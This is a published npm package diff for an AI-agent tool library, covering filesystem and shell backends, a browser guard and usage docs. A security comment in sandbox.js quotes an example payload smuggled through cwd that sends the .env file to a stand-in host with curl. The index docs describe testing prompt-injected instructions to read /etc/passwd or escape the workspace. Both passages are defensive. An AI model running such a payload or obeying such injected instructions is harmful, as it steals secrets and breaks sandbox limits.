@molecule/api-ai-tools 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +115 -0
- package/dist/backends/local.d.ts +15 -0
- package/dist/backends/local.d.ts.map +1 -0
- package/dist/backends/local.js +59 -0
- package/dist/backends/sandbox.d.ts +30 -0
- package/dist/backends/sandbox.d.ts.map +1 -0
- package/dist/backends/sandbox.js +44 -0
- package/dist/browser-guard.d.ts +2 -0
- package/dist/browser-guard.d.ts.map +1 -0
- package/dist/browser-guard.js +18 -0
- package/dist/index.d.ts +93 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +92 -0
- package/dist/schemas.d.ts +20 -0
- package/dist/schemas.d.ts.map +1 -0
- package/dist/schemas.js +225 -0
- package/dist/system-prompt.d.ts +44 -0
- package/dist/system-prompt.d.ts.map +1 -0
- package/dist/system-prompt.js +146 -0
- package/dist/tools.d.ts +19 -0
- package/dist/tools.d.ts.map +1 -0
- package/dist/tools.js +615 -0
- package/dist/types.d.ts +134 -0
- package/dist/types.d.ts.map +1 -0
- package/dist/types.js +6 -0
- package/dist/utilities.d.ts +150 -0
- package/dist/utilities.d.ts.map +1 -0
- package/dist/utilities.js +311 -0
- package/package.json +48 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
6
|
+
|
|
7
|
+
1. Definitions.
|
|
8
|
+
|
|
9
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
10
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
11
|
+
|
|
12
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
13
|
+
the copyright owner that is granting the License.
|
|
14
|
+
|
|
15
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
16
|
+
other entities that control, are controlled by, or are under common
|
|
17
|
+
control with that entity. For the purposes of this definition,
|
|
18
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
19
|
+
direction or management of such entity, whether by contract or
|
|
20
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
21
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
22
|
+
|
|
23
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
24
|
+
exercising permissions granted by this License.
|
|
25
|
+
|
|
26
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
27
|
+
including but not limited to software source code, documentation
|
|
28
|
+
source, and configuration files.
|
|
29
|
+
|
|
30
|
+
"Object" form shall mean any form resulting from mechanical
|
|
31
|
+
transformation or translation of a Source form, including but
|
|
32
|
+
not limited to compiled object code, generated documentation,
|
|
33
|
+
and conversions to other media types.
|
|
34
|
+
|
|
35
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
36
|
+
Object form, made available under the License, as indicated by a
|
|
37
|
+
copyright notice that is included in or attached to the work.
|
|
38
|
+
|
|
39
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
40
|
+
form, that is based on (or derived from) the Work and for which the
|
|
41
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
42
|
+
represent, as a whole, an original work of authorship.
|
|
43
|
+
|
|
44
|
+
"Contribution" shall mean any work of authorship, including the
|
|
45
|
+
original version of the Work and any modifications or additions
|
|
46
|
+
to that Work, that is intentionally submitted to the Licensor for
|
|
47
|
+
inclusion in the Work by the copyright owner or by an individual or
|
|
48
|
+
Legal Entity authorized to submit on behalf of the copyright owner.
|
|
49
|
+
|
|
50
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
51
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
52
|
+
subsequently incorporated within the Work.
|
|
53
|
+
|
|
54
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
55
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
56
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
57
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
58
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
59
|
+
Work and such Derivative Works in Source or Object form.
|
|
60
|
+
|
|
61
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
62
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
63
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
64
|
+
patent license to make, have made, use, offer to sell, sell, import,
|
|
65
|
+
and otherwise transfer the Work.
|
|
66
|
+
|
|
67
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
68
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
69
|
+
modifications, and in Source or Object form, provided that You
|
|
70
|
+
meet the following conditions:
|
|
71
|
+
|
|
72
|
+
(a) You must give any other recipients of the Work or
|
|
73
|
+
Derivative Works a copy of this License; and
|
|
74
|
+
|
|
75
|
+
(b) You must cause any modified files to carry prominent notices
|
|
76
|
+
stating that You changed the files; and
|
|
77
|
+
|
|
78
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
79
|
+
that You distribute, all copyright, patent, trademark, and
|
|
80
|
+
attribution notices from the Source form of the Work,
|
|
81
|
+
excluding those notices that do not pertain to any part of
|
|
82
|
+
the Derivative Works; and
|
|
83
|
+
|
|
84
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
85
|
+
distribution, then any Derivative Works that You distribute must
|
|
86
|
+
include a readable copy of the attribution notices contained
|
|
87
|
+
within such NOTICE file.
|
|
88
|
+
|
|
89
|
+
5. Submission of Contributions.
|
|
90
|
+
|
|
91
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
92
|
+
names, trademarks, service marks, or product names of the Licensor.
|
|
93
|
+
|
|
94
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
95
|
+
agreed to in writing, Licensor provides the Work on an "AS IS" BASIS,
|
|
96
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND.
|
|
97
|
+
|
|
98
|
+
8. Limitation of Liability. In no event and under no legal theory shall
|
|
99
|
+
any Contributor be liable to You for damages.
|
|
100
|
+
|
|
101
|
+
9. Accepting Warranty or Additional Liability.
|
|
102
|
+
|
|
103
|
+
Copyright 2026 Molecule Dev, Inc.
|
|
104
|
+
|
|
105
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
106
|
+
you may not use this file except in compliance with the License.
|
|
107
|
+
You may obtain a copy of the License at
|
|
108
|
+
|
|
109
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
110
|
+
|
|
111
|
+
Unless required by applicable law or agreed to in writing, software
|
|
112
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
113
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
114
|
+
See the License for the specific language governing permissions and
|
|
115
|
+
limitations under the License.
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Local filesystem execution backend — wraps fs/promises + child_process.
|
|
3
|
+
* Used by the polish pipeline and any CLI-based agent tools.
|
|
4
|
+
*
|
|
5
|
+
* @module
|
|
6
|
+
*/
|
|
7
|
+
import type { ExecutionBackend } from '../types.js';
|
|
8
|
+
/**
|
|
9
|
+
* Create an ExecutionBackend that operates on the local filesystem.
|
|
10
|
+
*
|
|
11
|
+
* @param projectRoot - Absolute path to the project root directory
|
|
12
|
+
* @returns A backend wired to `fs/promises` and guarded subprocess calls.
|
|
13
|
+
*/
|
|
14
|
+
export declare function createLocalBackend(projectRoot: string): ExecutionBackend;
|
|
15
|
+
//# sourceMappingURL=local.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"local.d.ts","sourceRoot":"","sources":["../../src/backends/local.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAMH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAEnD;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAAC,WAAW,EAAE,MAAM,GAAG,gBAAgB,CAmDxE"}
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Local filesystem execution backend — wraps fs/promises + child_process.
|
|
3
|
+
* Used by the polish pipeline and any CLI-based agent tools.
|
|
4
|
+
*
|
|
5
|
+
* @module
|
|
6
|
+
*/
|
|
7
|
+
import { execFile } from 'child_process';
|
|
8
|
+
import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises';
|
|
9
|
+
import { dirname } from 'path';
|
|
10
|
+
/**
|
|
11
|
+
* Create an ExecutionBackend that operates on the local filesystem.
|
|
12
|
+
*
|
|
13
|
+
* @param projectRoot - Absolute path to the project root directory
|
|
14
|
+
* @returns A backend wired to `fs/promises` and guarded subprocess calls.
|
|
15
|
+
*/
|
|
16
|
+
export function createLocalBackend(projectRoot) {
|
|
17
|
+
return {
|
|
18
|
+
projectRoot,
|
|
19
|
+
async readFile(path) {
|
|
20
|
+
return readFile(path, 'utf8');
|
|
21
|
+
},
|
|
22
|
+
async writeFile(path, content) {
|
|
23
|
+
await mkdir(dirname(path), { recursive: true });
|
|
24
|
+
await writeFile(path, content, 'utf8');
|
|
25
|
+
},
|
|
26
|
+
async deleteFile(path) {
|
|
27
|
+
await unlink(path);
|
|
28
|
+
},
|
|
29
|
+
async readDir(path) {
|
|
30
|
+
const entries = await readdir(path, { withFileTypes: true });
|
|
31
|
+
return entries.map((e) => ({
|
|
32
|
+
name: e.name,
|
|
33
|
+
type: (e.isDirectory() ? 'directory' : 'file'),
|
|
34
|
+
}));
|
|
35
|
+
},
|
|
36
|
+
run(command, opts) {
|
|
37
|
+
return new Promise((resolve) => {
|
|
38
|
+
// Use shell: true for command strings (grep pipelines, find, etc.)
|
|
39
|
+
// Input is sanitized via shellQuote at the tool level
|
|
40
|
+
execFile('sh', ['-c', command], {
|
|
41
|
+
cwd: opts?.cwd || projectRoot,
|
|
42
|
+
timeout: opts?.timeout || 30000,
|
|
43
|
+
maxBuffer: 10 * 1024 * 1024,
|
|
44
|
+
encoding: 'utf8',
|
|
45
|
+
}, (error, stdout, stderr) => {
|
|
46
|
+
if (error && 'code' in error && typeof error.code === 'number') {
|
|
47
|
+
resolve({ stdout: stdout || '', stderr: stderr || '', exitCode: error.code });
|
|
48
|
+
}
|
|
49
|
+
else if (error) {
|
|
50
|
+
resolve({ stdout: stdout || '', stderr: stderr || error.message, exitCode: 1 });
|
|
51
|
+
}
|
|
52
|
+
else {
|
|
53
|
+
resolve({ stdout: stdout || '', stderr: stderr || '', exitCode: 0 });
|
|
54
|
+
}
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
},
|
|
58
|
+
};
|
|
59
|
+
}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Sandbox execution backend — wraps `@molecule/api-code-sandbox` Sandbox interface.
|
|
3
|
+
* Used by Synthase (molecule.dev IDE).
|
|
4
|
+
*
|
|
5
|
+
* @module
|
|
6
|
+
*/
|
|
7
|
+
import type { ExecutionBackend } from '../types.js';
|
|
8
|
+
/** Minimal Sandbox shape to avoid hard dependency on `@molecule/api-code-sandbox`. */
|
|
9
|
+
interface SandboxLike {
|
|
10
|
+
readFile(path: string): Promise<string>;
|
|
11
|
+
writeFile(path: string, content: string): Promise<void>;
|
|
12
|
+
deleteFile(path: string): Promise<void>;
|
|
13
|
+
readDir(path: string): Promise<Array<{
|
|
14
|
+
name: string;
|
|
15
|
+
type: 'file' | 'directory';
|
|
16
|
+
}>>;
|
|
17
|
+
/** Sandbox command execution — already sandboxed within Docker. */
|
|
18
|
+
[key: string]: any;
|
|
19
|
+
}
|
|
20
|
+
/**
|
|
21
|
+
* Create an ExecutionBackend that delegates to a Docker sandbox instance.
|
|
22
|
+
* The sandbox.exec method is inherently safe — it runs inside an isolated Docker container.
|
|
23
|
+
*
|
|
24
|
+
* @param sandbox - A running Sandbox instance from `@molecule/api-code-sandbox`
|
|
25
|
+
* @param projectRoot - Root directory inside the sandbox (default: '/workspace')
|
|
26
|
+
* @returns A backend that proxies all filesystem calls into the sandbox.
|
|
27
|
+
*/
|
|
28
|
+
export declare function createSandboxBackend(sandbox: SandboxLike, projectRoot?: string): ExecutionBackend;
|
|
29
|
+
export {};
|
|
30
|
+
//# sourceMappingURL=sandbox.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sandbox.d.ts","sourceRoot":"","sources":["../../src/backends/sandbox.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAGnD,sFAAsF;AACtF,UAAU,WAAW;IACnB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IACvC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvD,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IACnF,mEAAmE;IAEnE,CAAC,GAAG,EAAE,MAAM,GAAG,GAAG,CAAA;CACnB;AAED;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAClC,OAAO,EAAE,WAAW,EACpB,WAAW,SAAe,GACzB,gBAAgB,CAiClB"}
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Sandbox execution backend — wraps `@molecule/api-code-sandbox` Sandbox interface.
|
|
3
|
+
* Used by Synthase (molecule.dev IDE).
|
|
4
|
+
*
|
|
5
|
+
* @module
|
|
6
|
+
*/
|
|
7
|
+
import { shellQuote } from '../utilities.js';
|
|
8
|
+
/**
|
|
9
|
+
* Create an ExecutionBackend that delegates to a Docker sandbox instance.
|
|
10
|
+
* The sandbox.exec method is inherently safe — it runs inside an isolated Docker container.
|
|
11
|
+
*
|
|
12
|
+
* @param sandbox - A running Sandbox instance from `@molecule/api-code-sandbox`
|
|
13
|
+
* @param projectRoot - Root directory inside the sandbox (default: '/workspace')
|
|
14
|
+
* @returns A backend that proxies all filesystem calls into the sandbox.
|
|
15
|
+
*/
|
|
16
|
+
export function createSandboxBackend(sandbox, projectRoot = '/workspace') {
|
|
17
|
+
return {
|
|
18
|
+
projectRoot,
|
|
19
|
+
readFile(path) {
|
|
20
|
+
return sandbox.readFile(path);
|
|
21
|
+
},
|
|
22
|
+
writeFile(path, content) {
|
|
23
|
+
return sandbox.writeFile(path, content);
|
|
24
|
+
},
|
|
25
|
+
deleteFile(path) {
|
|
26
|
+
return sandbox.deleteFile(path);
|
|
27
|
+
},
|
|
28
|
+
readDir(path) {
|
|
29
|
+
return sandbox.readDir(path);
|
|
30
|
+
},
|
|
31
|
+
async run(command, opts) {
|
|
32
|
+
// SECURITY [C3-1]: shell-quote cwd so it is always a single literal path. It was
|
|
33
|
+
// interpolated raw into `sh -c`, and every pre-tool gate (egress confirm,
|
|
34
|
+
// destructive-command preview, env-dump block) inspects only `command` — so a
|
|
35
|
+
// payload smuggled via cwd (e.g. "/workspace/. && curl -d @/workspace/.env evil")
|
|
36
|
+
// executed ungated. Quoting makes a malicious cwd simply fail `cd`; legitimate
|
|
37
|
+
// metacharacter-free paths are unaffected.
|
|
38
|
+
const fullCommand = opts?.cwd ? `cd ${shellQuote(opts.cwd)} && ${command}` : command;
|
|
39
|
+
// sandbox.exec is the Sandbox interface method — runs inside Docker, inherently sandboxed
|
|
40
|
+
const result = await sandbox.exec(fullCommand, { timeout: opts?.timeout });
|
|
41
|
+
return { stdout: result.stdout, stderr: result.stderr, exitCode: result.exitCode };
|
|
42
|
+
},
|
|
43
|
+
};
|
|
44
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"browser-guard.d.ts","sourceRoot":"","sources":["../src/browser-guard.ts"],"names":[],"mappings":"AAuBA,OAAO,EAAE,CAAA"}
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Browser guard — `@molecule/api-ai-tools` is SERVER-ONLY.
|
|
3
|
+
*
|
|
4
|
+
* Generated by scripts/gen-browser-guards.mjs (workspace root) — edit THAT, not this.
|
|
5
|
+
* Evaluating a server package in a browser bundle is always an import-graph mistake
|
|
6
|
+
* (node APIs, secrets); without this guard it surfaces as a cryptic downstream crash
|
|
7
|
+
* ("Buffer is not defined") far from the culprit. Throwing here names the package and
|
|
8
|
+
* the fix at the exact moment the client bundle evaluates it. jsdom tests and SSR are
|
|
9
|
+
* unaffected: the throw requires browser globals AND the absence of a node runtime.
|
|
10
|
+
*/
|
|
11
|
+
const g = globalThis;
|
|
12
|
+
if (g.window !== undefined && g.document !== undefined && !g.process?.versions?.node) {
|
|
13
|
+
throw new Error('@molecule/api-ai-tools is SERVER-ONLY: it was bundled into browser/client code. Import it only ' +
|
|
14
|
+
'from server code (a server route/function or your API), or dynamic-import it inside ' +
|
|
15
|
+
'the server handler — never from components or shared client modules, and never ' +
|
|
16
|
+
'polyfill Buffer/process to silence this.');
|
|
17
|
+
}
|
|
18
|
+
export {};
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Shared AI agent tool set for molecule.dev — filesystem, search, and shell
|
|
3
|
+
* tools an LLM agent can call, with a swappable execution backend.
|
|
4
|
+
*
|
|
5
|
+
* `buildTools(backend)` returns ready-to-use `AITool`s (the `@molecule/api-ai`
|
|
6
|
+
* tool shape): `list_files`, `read_file`, `write_file`, `edit_file`,
|
|
7
|
+
* `search_files`, `find_files`, `create_directory`, `rename_file`,
|
|
8
|
+
* `delete_file`, `exec_command`, `save_plan`, `load_skill`. The backend decides
|
|
9
|
+
* WHERE they act: `createLocalBackend(projectRoot)` (host filesystem) or
|
|
10
|
+
* `createSandboxBackend(...)` (an isolated `@molecule/api-code-sandbox`
|
|
11
|
+
* container). `buildAgentPrompt(ctx)` composes a matching system prompt
|
|
12
|
+
* (identity, tool listing, project docs, discovered skills).
|
|
13
|
+
*
|
|
14
|
+
* @remarks
|
|
15
|
+
* - **This package only defines the tools — it runs no model loop.** Hand them to
|
|
16
|
+
* the bonded AI provider (`chat({ tools, … })`) or to an
|
|
17
|
+
* `@molecule/api-ai-agents` run.
|
|
18
|
+
* - **Safety defaults: keep them on for model-driven use.** `pathGuards` (default
|
|
19
|
+
* true) rejects paths escaping `projectRoot`; `redactSecrets` (default true)
|
|
20
|
+
* masks secret-looking values in file reads and command output.
|
|
21
|
+
* - **`exec_command` executes REAL shell commands** on the backend. Prefer a
|
|
22
|
+
* sandbox backend for untrusted/model-driven work; add environment-specific
|
|
23
|
+
* rules via `blockCommand` (return an actionable error string to refuse — it is
|
|
24
|
+
* shown to the model verbatim) and enable `blockDangerousCommands` (default
|
|
25
|
+
* FALSE) where appropriate.
|
|
26
|
+
* - **Scope the tool set per agent** with `include`/`exclude` — a read-only agent
|
|
27
|
+
* should not receive `write_file`/`exec_command`.
|
|
28
|
+
* - Outputs are size-capped (`MAX_READ_SIZE`, `MAX_OUTPUT_SIZE`, …) and searches
|
|
29
|
+
* skip `DEFAULT_SEARCH_EXCLUDED_DIRS` (node_modules, VCS dirs, build output) —
|
|
30
|
+
* pass `searchExcludedDirs` so every search surface shares the consumer's one
|
|
31
|
+
* setting.
|
|
32
|
+
*
|
|
33
|
+
* @example
|
|
34
|
+
* ```typescript
|
|
35
|
+
* import { buildAgentPrompt, buildTools, createLocalBackend } from '@molecule/api-ai-tools'
|
|
36
|
+
* import { requireProvider } from '@molecule/api-ai'
|
|
37
|
+
*
|
|
38
|
+
* const backend = createLocalBackend('/path/to/project')
|
|
39
|
+
* const tools = buildTools(backend, { include: ['read_file', 'edit_file', 'search_files'] })
|
|
40
|
+
* const system = buildAgentPrompt({
|
|
41
|
+
* agentName: 'My Agent',
|
|
42
|
+
* projectRoot: backend.projectRoot,
|
|
43
|
+
* tools: tools.map((t) => t.name),
|
|
44
|
+
* })
|
|
45
|
+
*
|
|
46
|
+
* // Hand them to the bonded AI provider (or an @molecule/api-ai-agents run).
|
|
47
|
+
* for await (const event of requireProvider().chat({ system, tools, messages, stream: true })) {
|
|
48
|
+
* // forward text chunks; tool calls are executed against the backend
|
|
49
|
+
* }
|
|
50
|
+
* ```
|
|
51
|
+
*
|
|
52
|
+
* @e2e
|
|
53
|
+
* Integration checklist — drive the real UI (live preview, no mocks), adapt
|
|
54
|
+
* each item to this app's actual agent/chat surface and its registered tools,
|
|
55
|
+
* and check every box off one by one. A box you can't check is an integration
|
|
56
|
+
* bug to fix — not a skip:
|
|
57
|
+
* - [ ] A prompt that should trigger a registered tool makes the model INVOKE
|
|
58
|
+
* it with args matching that tool's `parameters` schema (e.g. "read
|
|
59
|
+
* src/index.ts" -> calls `read_file` with `{ path: 'src/index.ts' }`).
|
|
60
|
+
* Confirm the tool's `execute` actually RAN — its backend side effect / log /
|
|
61
|
+
* the file it touched — not that the model merely narrated calling it.
|
|
62
|
+
* - [ ] The tool's returned value flows back into the model and shapes the
|
|
63
|
+
* final answer: the REAL result (the file's actual contents, the command's
|
|
64
|
+
* real stdout/exitCode) appears in the reply, not a plausible hallucination.
|
|
65
|
+
* - [ ] A prompt that needs no tool is answered directly, with no spurious
|
|
66
|
+
* tool call.
|
|
67
|
+
* - [ ] A tool whose `execute` throws or returns `{ error }` (missing file,
|
|
68
|
+
* failing command, blocked path) degrades gracefully — the error is caught
|
|
69
|
+
* and fed back to the model as text, the conversation continues, and nothing
|
|
70
|
+
* crashes the request.
|
|
71
|
+
* - [ ] The model can invoke ONLY the tools handed to this run: an
|
|
72
|
+
* `include`/`exclude`-scoped agent (e.g. read-only — no `write_file` /
|
|
73
|
+
* `exec_command`) cannot call an excluded tool, and a tool name the model
|
|
74
|
+
* invents that was never registered is refused, not executed.
|
|
75
|
+
* - [ ] Tool execution is server-side and authorized: `exec_command` /
|
|
76
|
+
* `write_file` run only on the bonded backend under its guards (`pathGuards`,
|
|
77
|
+
* `symlinkGuards`, `redactSecrets`, `blockDangerousCommands` / `blockCommand`)
|
|
78
|
+
* and stay inside `projectRoot`. Feed a prompt-injected instruction (a file or
|
|
79
|
+
* message telling the model to read `/etc/passwd`, escape the workspace, or run
|
|
80
|
+
* a privileged command) and confirm the guard REFUSES it — a user must not be
|
|
81
|
+
* able to trigger, via the model, any action they could not perform directly.
|
|
82
|
+
*
|
|
83
|
+
* @module
|
|
84
|
+
*/
|
|
85
|
+
export * from './backends/local.js';
|
|
86
|
+
export * from './backends/sandbox.js';
|
|
87
|
+
export * from './browser-guard.js';
|
|
88
|
+
export * from './schemas.js';
|
|
89
|
+
export * from './system-prompt.js';
|
|
90
|
+
export * from './tools.js';
|
|
91
|
+
export * from './types.js';
|
|
92
|
+
export * from './utilities.js';
|
|
93
|
+
//# sourceMappingURL=index.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAmFG;AAEH,cAAc,qBAAqB,CAAA;AACnC,cAAc,uBAAuB,CAAA;AACrC,cAAc,oBAAoB,CAAA;AAClC,cAAc,cAAc,CAAA;AAC5B,cAAc,oBAAoB,CAAA;AAClC,cAAc,YAAY,CAAA;AAC1B,cAAc,YAAY,CAAA;AAC1B,cAAc,gBAAgB,CAAA"}
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Shared AI agent tool set for molecule.dev — filesystem, search, and shell
|
|
3
|
+
* tools an LLM agent can call, with a swappable execution backend.
|
|
4
|
+
*
|
|
5
|
+
* `buildTools(backend)` returns ready-to-use `AITool`s (the `@molecule/api-ai`
|
|
6
|
+
* tool shape): `list_files`, `read_file`, `write_file`, `edit_file`,
|
|
7
|
+
* `search_files`, `find_files`, `create_directory`, `rename_file`,
|
|
8
|
+
* `delete_file`, `exec_command`, `save_plan`, `load_skill`. The backend decides
|
|
9
|
+
* WHERE they act: `createLocalBackend(projectRoot)` (host filesystem) or
|
|
10
|
+
* `createSandboxBackend(...)` (an isolated `@molecule/api-code-sandbox`
|
|
11
|
+
* container). `buildAgentPrompt(ctx)` composes a matching system prompt
|
|
12
|
+
* (identity, tool listing, project docs, discovered skills).
|
|
13
|
+
*
|
|
14
|
+
* @remarks
|
|
15
|
+
* - **This package only defines the tools — it runs no model loop.** Hand them to
|
|
16
|
+
* the bonded AI provider (`chat({ tools, … })`) or to an
|
|
17
|
+
* `@molecule/api-ai-agents` run.
|
|
18
|
+
* - **Safety defaults: keep them on for model-driven use.** `pathGuards` (default
|
|
19
|
+
* true) rejects paths escaping `projectRoot`; `redactSecrets` (default true)
|
|
20
|
+
* masks secret-looking values in file reads and command output.
|
|
21
|
+
* - **`exec_command` executes REAL shell commands** on the backend. Prefer a
|
|
22
|
+
* sandbox backend for untrusted/model-driven work; add environment-specific
|
|
23
|
+
* rules via `blockCommand` (return an actionable error string to refuse — it is
|
|
24
|
+
* shown to the model verbatim) and enable `blockDangerousCommands` (default
|
|
25
|
+
* FALSE) where appropriate.
|
|
26
|
+
* - **Scope the tool set per agent** with `include`/`exclude` — a read-only agent
|
|
27
|
+
* should not receive `write_file`/`exec_command`.
|
|
28
|
+
* - Outputs are size-capped (`MAX_READ_SIZE`, `MAX_OUTPUT_SIZE`, …) and searches
|
|
29
|
+
* skip `DEFAULT_SEARCH_EXCLUDED_DIRS` (node_modules, VCS dirs, build output) —
|
|
30
|
+
* pass `searchExcludedDirs` so every search surface shares the consumer's one
|
|
31
|
+
* setting.
|
|
32
|
+
*
|
|
33
|
+
* @example
|
|
34
|
+
* ```typescript
|
|
35
|
+
* import { buildAgentPrompt, buildTools, createLocalBackend } from '@molecule/api-ai-tools'
|
|
36
|
+
* import { requireProvider } from '@molecule/api-ai'
|
|
37
|
+
*
|
|
38
|
+
* const backend = createLocalBackend('/path/to/project')
|
|
39
|
+
* const tools = buildTools(backend, { include: ['read_file', 'edit_file', 'search_files'] })
|
|
40
|
+
* const system = buildAgentPrompt({
|
|
41
|
+
* agentName: 'My Agent',
|
|
42
|
+
* projectRoot: backend.projectRoot,
|
|
43
|
+
* tools: tools.map((t) => t.name),
|
|
44
|
+
* })
|
|
45
|
+
*
|
|
46
|
+
* // Hand them to the bonded AI provider (or an @molecule/api-ai-agents run).
|
|
47
|
+
* for await (const event of requireProvider().chat({ system, tools, messages, stream: true })) {
|
|
48
|
+
* // forward text chunks; tool calls are executed against the backend
|
|
49
|
+
* }
|
|
50
|
+
* ```
|
|
51
|
+
*
|
|
52
|
+
* @e2e
|
|
53
|
+
* Integration checklist — drive the real UI (live preview, no mocks), adapt
|
|
54
|
+
* each item to this app's actual agent/chat surface and its registered tools,
|
|
55
|
+
* and check every box off one by one. A box you can't check is an integration
|
|
56
|
+
* bug to fix — not a skip:
|
|
57
|
+
* - [ ] A prompt that should trigger a registered tool makes the model INVOKE
|
|
58
|
+
* it with args matching that tool's `parameters` schema (e.g. "read
|
|
59
|
+
* src/index.ts" -> calls `read_file` with `{ path: 'src/index.ts' }`).
|
|
60
|
+
* Confirm the tool's `execute` actually RAN — its backend side effect / log /
|
|
61
|
+
* the file it touched — not that the model merely narrated calling it.
|
|
62
|
+
* - [ ] The tool's returned value flows back into the model and shapes the
|
|
63
|
+
* final answer: the REAL result (the file's actual contents, the command's
|
|
64
|
+
* real stdout/exitCode) appears in the reply, not a plausible hallucination.
|
|
65
|
+
* - [ ] A prompt that needs no tool is answered directly, with no spurious
|
|
66
|
+
* tool call.
|
|
67
|
+
* - [ ] A tool whose `execute` throws or returns `{ error }` (missing file,
|
|
68
|
+
* failing command, blocked path) degrades gracefully — the error is caught
|
|
69
|
+
* and fed back to the model as text, the conversation continues, and nothing
|
|
70
|
+
* crashes the request.
|
|
71
|
+
* - [ ] The model can invoke ONLY the tools handed to this run: an
|
|
72
|
+
* `include`/`exclude`-scoped agent (e.g. read-only — no `write_file` /
|
|
73
|
+
* `exec_command`) cannot call an excluded tool, and a tool name the model
|
|
74
|
+
* invents that was never registered is refused, not executed.
|
|
75
|
+
* - [ ] Tool execution is server-side and authorized: `exec_command` /
|
|
76
|
+
* `write_file` run only on the bonded backend under its guards (`pathGuards`,
|
|
77
|
+
* `symlinkGuards`, `redactSecrets`, `blockDangerousCommands` / `blockCommand`)
|
|
78
|
+
* and stay inside `projectRoot`. Feed a prompt-injected instruction (a file or
|
|
79
|
+
* message telling the model to read `/etc/passwd`, escape the workspace, or run
|
|
80
|
+
* a privileged command) and confirm the guard REFUSES it — a user must not be
|
|
81
|
+
* able to trigger, via the model, any action they could not perform directly.
|
|
82
|
+
*
|
|
83
|
+
* @module
|
|
84
|
+
*/
|
|
85
|
+
export * from './backends/local.js';
|
|
86
|
+
export * from './backends/sandbox.js';
|
|
87
|
+
export * from './browser-guard.js';
|
|
88
|
+
export * from './schemas.js';
|
|
89
|
+
export * from './system-prompt.js';
|
|
90
|
+
export * from './tools.js';
|
|
91
|
+
export * from './types.js';
